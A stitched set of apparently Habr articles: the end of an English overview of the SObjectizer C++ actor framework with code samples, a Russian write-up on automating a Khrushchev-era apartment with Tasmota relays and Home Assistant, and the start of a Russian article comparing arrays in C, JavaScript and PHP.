std::cout << "Greeting received: " << cmd->greeting\_ << std::endl;
});
}
int main() {
// Run SObjectizer in a separate thread.
so\_5::wrapped\_env\_t sobj;
// Channel to be used.
auto ch = so\_5::create\_mchain(sobj);
std::thread demo\_thread{demo\_thread\_func, ch};
// Send a greeting.
so\_5::send(ch, "Hello, World!");
// Wait for demo thread.
demo\_thread.join();
}
```
### More robust, but still simple version
This is a modified version of the example shown above with the addition of exception safety:
```
#include
// Message to be sent to a channel.
struct hello {
std::string greeting\_;
};
void demo\_thread\_func(so\_5::mchain\_t ch) {
// Wait while hello received.
so\_5::receive(so\_5::from(ch).handle\_n(1),
[](so\_5::mhood\_t cmd) {
std::cout << "Greeting received: " << cmd->greeting\_ << std::endl;
});
}
int main() {
// Run SObjectizer in a separate thread.
so\_5::wrapped\_env\_t sobj;
// Demo thread. We need object now, but thread will be started later.
std::thread demo\_thread;
// Auto-joiner for the demo thread.
auto demo\_joiner = so\_5::auto\_join(demo\_thread);
// Channel to be used. This channel will be automatically closed
// in the case of an exception.
so\_5::mchain\_master\_handle\_t ch\_handle{
so\_5::create\_mchain(sobj),
so\_5::mchain\_props::close\_mode\_t::retain\_content
};
// Now we can run demo thread.
demo\_thread = std::thread{demo\_thread\_func, \*ch\_handle};
// Send a greeting.
so\_5::send(\*ch\_handle, "Hello, World!");
// There is no need to wait for something explicitly.
}
```
A rather simple HSM example: blinking\_led
------------------------------------------
This is a standard example from SObjectizer's distribution. The main agent of this example is a HSM that can be described by the following statechart:
The source code of the example:
```
#include
#include
class blinking\_led final : public so\_5::agent\_t
{
state\_t off{ this }, blinking{ this },
blink\_on{ initial\_substate\_of{ blinking } },
blink\_off{ substate\_of{ blinking } };
public :
struct turn\_on\_off final : public so\_5::signal\_t {};
blinking\_led( context\_t ctx ) : so\_5::agent\_t{ ctx }
{
this >>= off;
off.just\_switch\_to< turn\_on\_off >( blinking );
blinking.just\_switch\_to< turn\_on\_off >( off );
blink\_on
.on\_enter( []{ std::cout << "ON" << std::endl; } )
.on\_exit( []{ std::cout << "off" << std::endl; } )
.time\_limit( std::chrono::milliseconds{1500}, blink\_off );
blink\_off
.time\_limit( std::chrono::milliseconds{750}, blink\_on );
}
};
int main()
{
try
{
so\_5::launch( []( so\_5::environment\_t & env ) {
auto m = env.introduce\_coop( []( so\_5::coop\_t & coop ) {
auto led = coop.make\_agent< blinking\_led >();
return led->so\_direct\_mbox();
} );
auto pause = []( unsigned int v ) {
std::this\_thread::sleep\_for( std::chrono::seconds{v} );
};
std::cout << "Turn blinking on for 10s" << std::endl;
so\_5::send< blinking\_led::turn\_on\_off >( m );
pause( 10 );
std::cout << "Turn blinking off for 5s" << std::endl;
so\_5::send< blinking\_led::turn\_on\_off >( m );
pause( 5 );
std::cout << "Turn blinking on for 5s" << std::endl;
so\_5::send< blinking\_led::turn\_on\_off >( m );
pause( 5 );
std::cout << "Stopping..." << std::endl;
env.stop();
} );
}
catch( const std::exception & ex )
{
std::cerr << "Error: " << ex.what() << std::endl;
}
return 0;
}
```
Timers, overload control for an agent and active\_obj dispatcher
----------------------------------------------------------------
Overload control is one of the main problems for actors: message-queues for actors are unlimited usually and this can lead to uncontrolled growth of queues if a fast message producer sends messages quicker then the receiver can handle them. The following example shows such SObjectizer's feature as *message limits*. It allows to limit count of messages in the agent's queue and defend the receiver from redundant messages.
This example also shows the usage of the timer in the form of a periodic message. The binding of agents to the active\_obj dispatcher is also shown there. Binding to that dispatcher means that every agent of the coop will work on own worker thread (e.g. an agent becomes an active object).
```
#include
using namespace std::chrono\_literals;
// Message to be sent to the consumer.
struct task {
int task\_id\_;
};
// An agent for utilization of unhandled tasks.
class trash\_can final : public so\_5::agent\_t {
public:
// There is no need is a separate constructor.
using so\_5::agent\_t::agent\_t;
// Preparation of agent to work inside SObjectizer.
void so\_define\_agent() override {
// Subscription to 'task' message.
// Event-handler is specified in the form of a lambda-function.
so\_subscribe\_self().event([](mhood\_t cmd) {
std::cout << "unhandled task: " << cmd->task\_id\_ << std::endl;
});
}
};
// The consumer of 'task' messages.
class consumer final : public so\_5::agent\_t {
public:
// We need the constructor.
consumer(context\_t ctx, so\_5::mbox\_t trash\_mbox)
: so\_5::agent\_t{ctx +
// Only three 'task' messages can wait in the queue.
limit\_then\_redirect(3,
// All other messages will go to that mbox.
[trash\_mbox]{ return trash\_mbox; })}
{
// Define a reaction to incoming 'task' message.
so\_subscribe\_self().event([](mhood\_t cmd) {
std::cout << "handling task: " << cmd->task\_id\_ << std::endl;
std::this\_thread::sleep\_for(75ms);
});
}
};
// The producer of 'test' messages.
class producer final : public so\_5::agent\_t {
const so\_5::mbox\_t dest\_;
so\_5::timer\_id\_t task\_timer\_;
int id\_counter\_{};
// Type of periodic signal to produce new 'test' message.
struct generate\_next final : public so\_5::signal\_t {};
void on\_next(mhood\_t) {
// Produce a new 'task' message.
so\_5::send(dest\_, id\_counter\_);
++id\_counter\_;
// Should the work be stopped?
if(id\_counter\_ >= 10)
so\_deregister\_agent\_coop\_normally();
}
public:
producer(context\_t ctx, so\_5::mbox\_t dest)
: so\_5::agent\_t{std::move(ctx)}
, dest\_{std::move(dest)}
{}
void so\_define\_agent() override {
so\_subscribe\_self().event(&producer::on\_next);
}
// This method will be automatically called by SObjectizer
// when agent starts its work inside SObjectizer Environment.
void so\_evt\_start() override {
// Initiate a periodic message with no initial delay
// and repetition every 25ms.
task\_timer\_ = so\_5::send\_periodic(\*this, 0ms, 25ms);
}
};
int main() {
// Run SObjectizer instance.
so\_5::launch([](so\_5::environment\_t & env) {
// Make and register coop with agents.
// All agents will be bound to active\_obj dispatcher and will
// work on separate threads.
env.introduce\_coop(
so\_5::disp::active\_obj::make\_dispatcher(env).binder(),
[](so\_5::coop\_t & coop) {
auto \* trash = coop.make\_agent();
auto \* handler = coop.make\_agent(trash->so\_direct\_mbox());
coop.make\_agent(handler->so\_direct\_mbox());
});
});
}
```
If we run that example we can see the following output:
```
handling task: 0
handling task: 1
unhandled task: 5
unhandled task: 6
handling task: 2
unhandled task: 8
unhandled task: 9
handling task: 3
handling task: 4
handling task: 7
```
This output shows that several messages that can't fit into the defined limit are rejected and redirected to another receiver.
More examples
-------------
An example that more or less similar to the code from real-life applications can be found in our [Shrimp demo project](https://stiffstream.com/en/docs/shrimp-demo.html). Another set of interesting examples can be found in this mini-serie about classical "dining philosophers problem": [part 1](https://eao197.blogspot.com/2019/01/progc-modern-dining-philosophers-in-c.html) and [part 2](https://eao197.blogspot.com/2019/01/progc-modern-dining-philosophers-in-c_29.html). And, of course, there are [a lot of examples in SObjectizer itself](https://github.com/Stiffstream/sobjectizer/tree/v.5.6.2/dev/sample/so_5).
What about the performance?
===========================
There is a very simple answer: it is more than good enough for us. SObjectizer can distribute millions of messages per second, and the actual speed depends on the types of used dispatchers, message kinds, load profile, hardware/OS/compiler used and so on. In a real application, we usually use just a fraction of SObjectizer speed.
The performance of SObjectizer for your particular task highly depends on your task, the particular solution of that task, on your hardware or virtual environment, on the version of your compiler and your OS. So the best way to find an answer to that question is to create own benchmark that will be specific to your task and experiment with it.
If you want numbers from some synthetic benchmarks then there are some programs in test/so\_5/bench folder of SObjectizer distribution.
A note about comparison with different tools
--------------------------------------------
We think that a benchmarking game comparing the speed of different tools is a marketing game. We did [an attempt](https://sourceforge.net/p/sobjectizer/wiki/Performance%20Comparison%20SO-5.5.15.2%20vs%20CAF-0.14.4/) in the past but quickly realized that it is just a waste of our time. So we don't play that game now. We spend our time and our resources only on benchmarks which allow us to check the absence of performance degradation, to resolve some corner cases (like performance of MPMC mboxes with big amount of subscribers or performance of an agent with hundreds of thousands of subscriptions), to speed up some SObjectizer-specific operations (like registration/deregistration of a coop).
So we leave the comparison of speed to those who like that game and have time to play it.
Why SObjectizer does look exactly as it is?
===========================================
There are several "actor frameworks" for C++, and all of them look different. It seems that it has some objective reasons: every framework has its unique features and targets different goals. Moreover, actors in C++ can be implemented very differently. So the main question is not "why framework X doesn't look like framework Y?", but "why framework X does look as it is?"
Now we'll try to describe some reasons behind the main SObjectizer's features briefly. We hope it allows a better understanding of SObjectizer's abilities. But before we start it is necessary to mention one very important thing: SObjectizer has never been an experiment. It was created for solving real-life working and it has been evolving based on the real-life experience.
Agents are objects of classes derived from agent\_t
---------------------------------------------------
Agents (aka actors) in SObjectzer are objects of user-defined classes which must be derived from a special class `agent_t`. It may look redundant in tiny toy examples, but our experience shows that approach greatly simplifies the development of real software where agents usually have the size in several hundred of lines (you can see one of the examples [here](https://eao197.blogspot.com/2016/05/progc14-sobjectizer.html), but this blog-post is in Russian). Sometimes even in several thousands of lines.
The experience shows us that a simple agent with the first version in a hundred lines becomes much fatter and complex in several next years of evolution. So, after five years you can find a monster in a thousand lines with dozens of methods.
Usage of classes allows us to manage the complexity of agents. We can use inheritance of classes. And we can use template classes too. These are very useful techniques that greatly simplify the development of families of agents with similar logic inside.
Messages as objects of user structs/classes
-------------------------------------------
Messages in SObjectizer are objects of user-defined structs or classes. There are at least two reasons for that:
* the development of SObjectizer-5 started in 2010 when C++11 wasn't standardized yet. So in the beginning, we couldn't use such features of C++11 as variadic templates and `std::tuple` class. The only choice we had was the usage of an object of a class inherited from a special class `message_t`. Now there is no need to derive the type of message from `message_t`, but SObjectizer wraps a user object into `message_t`-derived object anyway under the hood;
* content of a message can easily be changed without modification of signatures of event handlers. And there is a control from a compiler: if you remove some field from a message or change its type then the compiler will tell you about wrong access to that field.
Usage of messages as objects also allows to work with preallocated messages and to store a received message to some container and resend it later.
Coops of agents
---------------
A coop of agents is probably one of the unique SObjectizer's features. A coop is a group of agents which should be added to and removed from SObjectizer in a transaction manner. It means that if a coop contains three agents then all those agents should be added to SObjectizer successfully or no one of them should be added. Similarly, all three agents should be removed from SObjectizer or all three agents should continue their work.
The need in coops was discovered soon after the start of SObjectizer life. It became obvious that agents would be created by groups, not by single instances. Coops were invented to simplify the life of a developer: there is no need to control the creation of the next agent and remove previously created agents if the creation of a new agent fails.
A coop can also be seen as a supervisor in all-for-one mode: if an agent from the coop fails then the whole coop will be removed from SObjectizer Environment and destroyed (a user can react to that and recreate the coop again).
Message boxes
-------------
Message boxes are another unique SObjectizer's feature. Messages in SObjectizer are sent to a message box (mbox), not to an agent directly. There can be one receiver behind the mbox, or there can be a million subscribers, or there can be no one.
Mboxes allows us to support the basic functionality of Publish-Subscribe model. A mbox can be seen as MQ-broker and the message type can be seen as a topic.
Mboxes allows us also implement various interesting forms of message delivery. For example, there is a [round-robin mbox](https://github.com/Stiffstream/so5extra/wiki/so5extra-1.3-Round-Robin-Mbox) that spreads messages between subscribers in round-robin manner. There is also a [retained mbox](https://github.com/Stiffstream/so5extra/wiki/so5extra-1.3-Retained-Mbox) that holds the last sent message and resend it automatically for every new subscriber. There is also a [simple wrapper around libmosquitto](https://github.com/Stiffstream/mosquitto_transport) that allows to use MQTT as a transport for a distributed application.
Agents as HSM
-------------
Agents in SObjectizer are state machines. It was from the very beginning simply because SObjectizer has roots in SCADA field, where state machines are actively used. But it quickly became obvious that agents in the form of a state machine can be useful even in different niches (like telecom and finance applications).
Support of hierarchical state machines (e.g. on\_enter/on\_exit handlers, nested states, time limits and so on) were added after some time of using SObjectizer in production. And this feature made SObjectizer yet more powerful and convenient tool.
Usage of C++ exceptions
-----------------------
C++ exceptions are used in SObjectizer as the main error reporting mechanism. Despite the fact that the usage of C++ exception can sometimes be costly, we decided to use exceptions instead of error codes.
We had a negative experience with error codes in SObjectizer-4, where exceptions weren't used. This lead to ignorance of errors in application code and sometimes important actions weren't done because there was an error creating a new coop or sending a message. But this error was ignored and that fact was discovered much later.
Usage of C++ exceptions in SObjectizer-5 allows writing more correct and robust code. In usual cases, exceptions are thrown by SObjectizer very rarely so the usage of exception has no negative impact on SObjectizer's performance or the performance of applications written on top of SObjectizer.
No support for distributed applications "out of box"
----------------------------------------------------
SObjectzer-5 has no built-in support for distributed applications. It means that SObjectizer distributes messages just inside one process. If you need to organize inter-process or inter-note message distribution then you have to integrate some kind of IPC in your application.
This is not because we can't implement some form of IPC in SObjectizer. We already had that in SObjectizer-4. And because we have such experience we decided not to do that in SObjectizer-5. We learned that there is no one type of IPC that perfectly fits for different conditions.
If you want to have good inter-node communication in your application you have to select appropriate underlying protocols. For example, if you have to spread millions of small packets with some short-living data (like distribution of measurement of the current weather conditions) then you have to use one IPC. But if you have to transfer huge BLOBs (like 4K/8K video streams or archives with financial data inside) then you have to use another IPC type.
And we don't speak about introperability with software written in different languages...
You can believe that some universal "actor framework" can provide you an IPC that will be good for different conditions. But we know that it is just marketing bullshit. Our experience shows us that it is much simpler and much safer to add the IPC you need in your application then to rely on ideas, needs and knowledge of authors of a 3-rd party "actor framework".
SObjectizer allows incorporating various types of IPC in the form of custom mboxes. So it allows hiding the fact of message distribution over a network from a SObjectizer's users.
Instead of the conclusion
=========================
The SObjectizer framework is not a big one, but it isn't a small one. So it is impossible to give the reader a rather deep impression about SObjectizer in just one overview. Because of that, we invite you to take a look at the SObjectizer project.
SObjectizer itself lives on [GitHub](https://github.com/Stiffstream/sobjectizer). There is the project's Wiki on [GitHub](https://github.com/Stiffstream/sobjectizer/wiki) and we recommend to start from [SObjectizer 5.6 Basics](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.6-Tutorials-Basics) and then go to articles from In-depth series. For those who want to go deeper, we can recommend [Let's look under the SObjectizer's hood](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.6-Tutorials-Under-The-Hood) section.
If you have any questions you can ask us in [SObjectizer's group](https://groups.google.com/forum/#!forum/sobjectizer) on Google's groups. | https://habr.com/ru/post/458202/ | null | en | null |
# Умная хрущёвка на максималках. Продолжение
В [первой часть статьи](https://habr.com/ru/post/503646/) я рассказал о том, как оснастить двухкомнатную хрущевку различными датчиками и с их помощью собирать информацию о текущем состоянии квартиры. Во второй части речь пойдет о том, как начать активно управлять всеми доступными системами. Для этого я выполнил:
* Полную беспроводную автоматизацию всего освещения.
* Установил кнопку «выключить всё».
* Сделал возможным полное удаленное обесточивание квартиры (включая и сам сервер управления вместе с контроллером) и обратное удаленное включение.
* Применил электронакладки (устройства поворота) для кранов на воду.
*Подъездный щит жилого дома с оборудованием для удаленного обесточивания квартиры*
Представленный на фото подъездный электрощит, на мой взгляд, отражает общую идею доступной автоматизации квартиры, заключающуюся в том, что будут заменены или вновь установлены только те элементы электрической схемы, которые требуются для обеспечения работы этой части системы. А в рассматриваемой квартире, расположенной в доме, которому почти полсотни лет, изредка проводился только косметический ремонт. Это значит, что внутриквартирная электрическая проводка, с 70-х годов никогда не менялась полностью и была достаточно изношена. На мой взгляд, это не совсем разумно и даже, возможно, небезопасно, но учитывая то, что полная переделка электропроводки обходится недешево и влечет за собой общий и дорогостоящий ремонт всей квартиры, такой подход являлся скорее обычным для большинства старых советских квартир.
Беспроводная автоматизация всего света
======================================
Поскольку я уже собирал информацию со многих датчиков в квартире, но не имел возможность управлять чем-либо, я решил исправить ситуацию и начать с управления освещением.
Проводной вариант управления освещением, по экономическим причинам, я не хотел делать — это вышло бы слишком дорого для меня, и поэтому я стал присматриваться к беспроводным вариантам, которые бы позволили не переделывать проводку полностью. Одним из вариантов стала установка беспроводных модулей в распределительных коробках квартиры.
*Пример типовой «классической» схемы электропроводки для лампочек*
В 2017 году я нашёл двухканальные реле [Wifi IoT Relay Board Based on ESP8266](https://www.electrodragon.com/product/wifi-iot-relay-board-based-esp8266/) и одноканальные [Sonoff Basic WiFi Wireless Switch](https://www.itead.cc/ru/smart-home/sonoff-wifi-wireless-switch.html), а ещё познакомился со свободной прошивкой [Tasmota](https://tasmota.github.io/docs/).
В настоящее время существует [готовая база знаний о различных заводских реле и датчиках](https://templates.blakadder.com/index.html) на базе китайских микроконтроллеров ESP8266 с Wi-Fi интерфейсом, которая очень упрощает подбор нужных элементов для автоматизации.
А поскольку при получении всех показаний с датчиков я уже не зависел от облачных сервисов производителей и работал локально только с [Home Assistant](https://www.home-assistant.io/), то я решил и не начинать с ними общаться. Для беспроводных модулей решил использовать открытую прошивку Tasmota, избавившись от прошивки производителя.
*Распределительная коробка в квартире, в которой коммутируются ванная, кухня, коридор и туалет*
Однако найденные беспроводные модули были достаточно большого размера и не вписывались в существующие распределительные коробки.
Сами модули стоили недорого, но затраты поджидали меня не их цене, а в стоимости работ электрика и строителей. Электрик определял места коммутации от выключателей в стенах, потому что подключение при постройке дома было сделано по классической схеме с использованием распределительных коробок, где коммутировались провода от выключателя, ламп и со стороны электрощитка.
Строители затем долбили стену и устанавливали распределительные коробки большего размера, а потом замазывали вновь установленные коробки и аккуратно наклеивали куски обоев.
*Место в стене подготовленное под установку распределительной коробки большего размера*
Ещё обнаружилось, что электрики, почти полсотни лет назад, что-то напутали и схема подключения была некорректная — при выключенном выключателе фаза на некоторых лампочках оставалась.
*Пробное первое подключение беспроводного модуля*
После пробной автоматизации одного светильника, когда я убедился, что всё работает, решил полностью автоматизировать все 7 квартирных светильников. А раз почти все распределительные коробки находились в прихожей квартиры, то решил совместить эту процедуру со сменой обоев и при помощи строителей и электрика сделал некоторую реновацию:
1. Оставил на старой проводке только электрические розетки в комнатах.
2. Протянул из электрощита подъезда отдельную кабельную линию под розетки на кухне.
3. Выполнил отдельную кабельную линию для освещения.
4. Выполнил отдельные кабельные линии для питания датчиков.
5. Выполнил отдельную кабельную линию под роутер.
*Два двухканальных* [*Wifi IoT Relay Board Based on ESP8266*](https://www.electrodragon.com/product/wifi-iot-relay-board-based-esp8266/)*, установленные в стенной распредкоробке (2017 г.)*
Я протянул отдельные кабельные линии, а том числе для питания роутера, чтобы при полном обесточивании квартиры роутер мог основаться включенным, обеспечивая обратное удаленное включению квартиры.
*Вид распределительной коробки с установленными внутри беспроводными реле и кабельного канала с витыми парами от датчиков после переклейки обоев в прихожей квартиры*
В 2017 году я еще использовал OpenHAB и настроил работу связки Home Assistant <-> заводское реле на базе ESP8266 через [через MQTT](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/items/default.items#L101).
*Процесс загрузки прошивок на заводские реле на базе ESP8266*
Изначально я выбирал из нескольких прошивок, но самое главное достоинство прошивки Tasmota для меня была полная автономность от Wi-Fi — даже когда у модуля пропадала связь с сервером, неважно по какой причине — может быть проблемы с Wi-Fi или просто сервер завис — всегда можно было включить или выключить свет, как обычно, нажатием на физический выключатель — то есть пользователь, при желании, даже мог не обращать на это внимания.
*Подключенные светильники в панели управления*
ОpenHAB vs Home Assistant
=========================
В самом начале работы я использовал только один исполнительный контроллер — Мегу, но это был именно контроллер — «человеческого» интерфейса в нём не было, и для красивой панели управления нужен был отдельный сервер, в качестве которого обычно используется безвентиляторный Raspberry Pi, который может работать годами, единственное только периодически испытывая проблемы с microSD (без резервной копии никуда).
*Моя последняя конфигурация на openHAB*
Мои полные конфигурации OpenHAB 1.8.3 и 2.2.0, в том числе items, persistence, rules, sitemaps, transform выложены на [GitHub](https://github.com/empenoso/openHAB_two-bedroom-flat).
Первые годы, работая с умным домом, я использовал openHAB на Raspberry Pi — про это я уже писал в статье на Хабре: [как я 1000 дней пользовался OpenHAB, а затем перешел на Home Assistant](https://habr.com/ru/post/485848/).
Хочу отметить, что, лично для меня, написание сложных правил в Home Assistant происходит проще по сравнению с OpenHAB.
*Моя текущая конфигурация на Home Assistant*
Полные конфигурации Home Assistant, в том числе automations.yaml, configuration.yaml, customize.yaml, lovelace выложены на [GitHub](https://github.com/empenoso/Home-Assistant_two-bedroom-flat).
Автоматические отчеты на почту для подачи в управляющую компанию
================================================================
Ещё используя в качестве сервера автоматизации OpenHAB, решил сделать автоматическую генерацию отчетов за пять дней до окончания месяца.
По итогу получился вот такой автоматически сгенерированный отчет:
```
ФИО
кв. ХХХ за 12.2016
Холодная вода:
ХВС расход в тек.мес.: 2,57 м. куб.
Текущие показания: 22,06 м. куб.
Показания хол. на 1е число: 19,49 м. куб.
Горячая вода:
ГВС расход в тек.мес.: 1,63 м. куб.
Текущие показания: 13,44 м. куб.
Показания гор. на 1е число: 11,81 м. куб.
Электроэнергия:
Э/э расход в тек.мес.: 31,19 кВт*ч
Текущие показания: 253,79 кВт*ч
Показания э/э на 1е число: 222,60 кВт*ч
Температура воды в трубах:
Мин. значение хол. трубы в месяце: 11,31°С
Макс. значение гор. трубы в месяце: 66,33°С
Средняя темп. батарей в месяце: 42,29°С
Отчет сформирован в пятница, 16.12.2016, 08:48 через openHAB.
```
Код генерации отчета [представлен на GitHub](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%201.8.3/rules/default.rules#L269).
Кнопка «выключить всё»
======================
Физическая кнопка, расположенная у входной двери и которая выключает весь свет в квартире — это реально удобно. В моём случае витая пара проброшена до контроллера на его входной порт. Контроллер Мега отправляет полученный сигнал о замыкании кнопки на сервер, а сервер в зависимости от правил, выключает весь свет в квартире, кроме прохожей, сразу, а свет в прихожей через 15 секунд.
Конкретные примеры правил представлены ниже для систем, которые я использовал в квартире:
1. [openHAB](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/rules/default.rules#L56)
2. [Home Assistant](https://github.com/empenoso/Home-Assistant_two-bedroom-flat/blob/master/automations.yaml#L78)
Полное удаленное обесточивание квартиры
=======================================
ТСЖ дома сделало полную замену подъездных электрических щитов, и в том числе подвело заземление, а поскольку соседние по площадке квартиры перенесли свои электрические счетчики и «автоматы» внутрь собственных квартир, то этажный электрический щит оказался практически пуст.
*Вид этажного распределительного щита до моего «вмешательства» (счётчик и верхние автоматы мои)*
В идеале, хотелось получить следующее: удаленно подключаясь по VPN я имел бы возможность полного обесточивания всей квартиры, сохраняя при этом возможность её удаленного обратного включения. Для этого мне и понадобилось разбиение электросети квартиры на отдельные кабельные линии, о которых я говорил выше.
Ещё мне понадобился контактор (мощное реле) на 40А и ещё один беспроводной модуль Sonoff. Также я разработал схему подключения всех электропотребителей квартиры, согласно которой мне потом и собрали всю схему в подъездном щите.
*Электрическая схема подъездного электрощита, реализующая полное удаленное обесточивание квартиры*
После завершения процесса монтажа электросхемы щита получилось именно так, как и было задумано.
*Внешний вид электрощита в подъезде жилого дома, вместе с моим оборудованием для удаленного обесточивания квартиры*
Доступ к контактору (на 40А) осуществляется не из интерфейса управления HA (который тоже обесточивается), а просто по ip адресу устройства, которое подключено к контактору.
Электронакладки для кранов на воду
==================================
У меня ранее уже был опыт установки шаровых кранов на воду с электроприводом, но их цена составляет сейчас почти 7 тыс.руб. за штуку и 15 тыс.руб. за комплект, что в данном случае это было экономически нецелесообразно.
*Пример — краны шаровые с электроприводом Neptun Bugatti Pro 12В ½, «*[*установленные в другом месте»*](https://habr.com/ru/post/489610/)
Подобные краны на воду, с электроприводом, есть и на известном китайском сайте и цена на них в разы меньше, но раз это связано с водой — я просто побоялся залить несколько нижерасположенных этажей и стал смотреть в сторону накладок на существующие краны.
*Электронакладка, управляющая шаровым краном холодной воды*
Контроллер может управлять данными электронакладками через драйвера мотора на L298N. Также его можно настроить в режиме SW LINK на контроллере, для того чтобы исключить одновременное включение в обе стороны.
Для корректной работы накладок трубы пришлось раздвинуть, иначе накладки мешали работе друг друга. Также они достаточно объемные и если бы трубы были закрыты коробом — их вряд ли бы удалось корректно вписать.
*Измерение напряжения на L298N*
Краны поворачиваются, сами по себе, достаточно туго и накладки тянут, кажется, на пределе своих возможностей, но с момента установки прошло уже почти полтора года и они до сих пор исправно работают. Время «закрытия-открытия» около 15 секунд.
Фотографии квартиры
===================
Привожу несколько фотографий, чтобы можно было оценить размеры и внешний вид квартиры и масштабы проделанной работы:
*Прихожая квартиры*
На левой стене прихожей, рядом с входной дверью, установлен [OLED-дисплей SSD1306](https://github.com/empenoso/Home-Assistant_two-bedroom-flat/blob/master/automations.yaml#L51) в фабричном корпусе, куда выводится текущее время и температура окружающей среды, на улице.
*Спальная комната квартиры*
Чтобы я бы сделал по другому, если бы знал это заранее
======================================================
Проектирование всего на первом этапе
------------------------------------
Если сразу определить все ожидаемые функции умной квартиры, заранее разработать полную схему автоматизации квартиры, подобрать все необходимые компоненты схемы, то будет проще совместить текущий ремонт квартиры и выбор удобного и экономически более целесообразного варианта модернизации, а не подстраиваться под отдельные потребности схемы автоматизации или конкретные примеры решения подобной проблемы.
Счетчики с интерфейсом RS485
----------------------------
В первую очередь я бы установил все счетчики с интерфейсом RS485 — с импульсным выходом довольно много возни из-за того что периодически надо сверять реальность показаний на счетчике и в интерфейсе и особенно если были какие-то сбои на сервере. При считывании по протоколу RS485 счетчик отдает не только актуальные текущие показания, но и имеет память прошлых показаний, которые можно считывать. Пусть это дороже, но мне кажется это более технологично и точно. Настораживает в случае с RS485 только другое — хотя протоколы некоторых производителей расшифрованы энтузиастами, а протоколы других производителей опубликованы в свободном доступе, но готовых модулей интеграции в openHAB или Home Assistant практически нет. Особенно заметно это в случае со счетчиками воды.
Возможно ZigBee вместо Wi-Fi
----------------------------
Возможно я бы стал использовать ZigBee вместо Wi-Fi для беспроводных реле. Но устанавливал бы всё равно в увеличенного размера распределительные коробки — достаточно практичное решение и всегда можно откатиться назад на обычную схему электропроводки. Тем более что сейчас существует [база знаний совместимых ZigBee устройств](https://zigbee.blakadder.com/index.html).
Итоговые выводы
===============
Очень важный фактор, который играл значение в выборе компонентов для автоматизации квартиры — цена. И хотя здесь у меня был микроскопический бюджет и довольно много желаний — я считаю, что практически все необходимые функции умных домов для квартиры удалось реализовать в полном объеме:
1. Полное управление освещением квартиры.
2. Учёт энергоресурсов с единой панели управления.
3. Мониторинг всех показателей квартиры: температуры стояков, батарей, жилых комнат.
4. Возможность отследить и показать другим людям объективные уровни шума.
5. Возможность оперативного удаленного вмешательства: полностью обесточить квартиру и перекрыть воду. И произвести обратную операцию.
Автор: [Михаил Шардин](https://shardin.name/)
15 июня 2020 г. | https://habr.com/ru/post/506550/ | null | ru | null |
# Вы правда знаете о том, что такое массивы?
Там, где я тружусь, от веб-разработчиков ожидают знания PHP и JavaScript. Я, проводя собеседования, обнаружил, что достаточно задать всего один простой вопрос для того чтобы узнать о том, насколько глубоко разработчик понимает инструменты, которыми пользуется каждый день. Вот этот вопрос:
*Каковы сходства и различия массивов в JavaScript и в PHP?*
Одно дело — умение писать код. И совершенно другое — понимание внутренних механизмов используемых языков.
[](https://habr.com/ru/company/ruvds/blog/495892/)
Ответ на этот единственный вопрос даёт мне целое море сведений о собеседуемом. Ведь почти в каждом распространённом языке есть массивы. Легко выдвинуть предположение, в соответствии с которым массивы в разных языках — это, более или менее, одно и то же. Многие программисты так и делают.
Это — некорректное предположение, ведущее к множеству мелких ошибок, к написанию нерационально устроенного кода, к невозможности эффективно пользоваться сильными сторонами языка.
Массивы и их родной язык — C
----------------------------
Язык C — это не первый в истории язык программирования, но это — язык, который сильнее других повлиял на IT-индустрию. Многие разработчики учили в институтах C в качестве первого языка. И PHP, и JavaScript что-то взяли от C. В результате можно наблюдать некоторое сходство между этими языками и C, и именно анализ массивов в C позволит показать то, как далеко эти структуры данных продвинулись с 1972 года.
В C массивы строго типизированы и имеют фиксированную длину.
```
int myArray[10];
int fibonacci[10] = {0, 1, 1, 2, 3, 5, 8, 13, 21, 34};
```
Выше показана пара объявлений массивов. Они могут хранить только целые числа, количество которых не превышает 10.
При работе с подобными массивами используется цикл `for`. Этот паттерн, без наличия реальной необходимости, копируется во многих других языках программирования:
```
int i, sum;
for (i = 0; i < 9; i++) {
sum += fibonacci[i];
}
```
Подобная конструкция не выглядит дикой ни в JavaScript, ни в PHP. Но именно здесь и кроется опасность.
Массивы в JavaScript
--------------------
Можно представить себе, что массивы в JavaScript очень похожи на массивы в C. И правда — в JS совершенно нормально смотрятся следующие конструкции:
```
let myArray = [];
let fibonacci = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34];
```
Однако массивы в JavaScript и в C — это разные вещи. Например, следующее, совершенно очевидно, в C невозможно:
```
myArray[0] = 5;
myArray[1] = 5.5;
myArray[2] = 'cat';
myArray[3] = [1,2,3];
myArray[4] = (a,b) => {a+b};
myArray[1000] = 'mind blown';
// myArray = [5, 5.5, 'cat', [1,2,3], (a,b) => {a+b}];
```
В JavaScript массивы имеют переменную длину. Тип их содержимого не контролируется — точно так же, как и тип обычных переменных. Язык берёт на себя управление памятью, в результате длина массива способна увеличиваться или уменьшаться, а разработчик может об этом не задумываться. JavaScript-массивы, на самом деле, очень похожи на списки.
Перебор массива можно организовать, пользуясь неудачным способом, позаимствованным из C:
```
let sum = 0;
for (i = 0; i < fibonacci.length; i++) {
sum += fibonacci[i];
}
```
Однако у нас нет необходимости в использовании такого подхода к перебору JS-массивов. Например, тут имеются ненужные промежуточные переменные. В такой конструкции вполне могут возникать ошибки, причиной которых являются неопределённые или некорректные значения. Есть ли какое-то значение в элементе массива `fibonacci[10]`? А если значение там есть — является ли оно целым числом?
Но в JavaScript имеются гораздо более совершенные механизмы для работы с массивами. Массивы в JS — это не просто некие простейшие структуры данных. Они, как и функции, являются объектами первого класса. У них есть методы, позволяющие адекватно решать различные задачи:
```
let sum = fibonacci
.filter(Number.isInteger)
.reduce(
(x,y) => {return x+y}, 0
);
```
Это гораздо лучше, чем перебирать массив с помощью цикла `for`.
*Некоторые методы массивов*
Кроме того, как уже говорилось, длина массивов в JS, в отличие от длины С-массивов, не фиксирована. Это позволяет оказывать на массивы довольно интересные воздействия, влияющие на их длину. Так, можно, пользуясь методом `pop`, извлечь из массива последний элемент. А метод `push` позволяет добавить новый элемент в конец массива. Метод `unshift` позволяет добавить элемент в начало массива. А метод `shift` — извлечь первый элемент массива. Используя разные комбинации этих методов, с массивами можно работать как со стеками или очередями. Тут всё зависит от потребностей программиста.
Массивы в PHP
-------------
Массивы в PHP почти похожи на JavaScript-массивы.
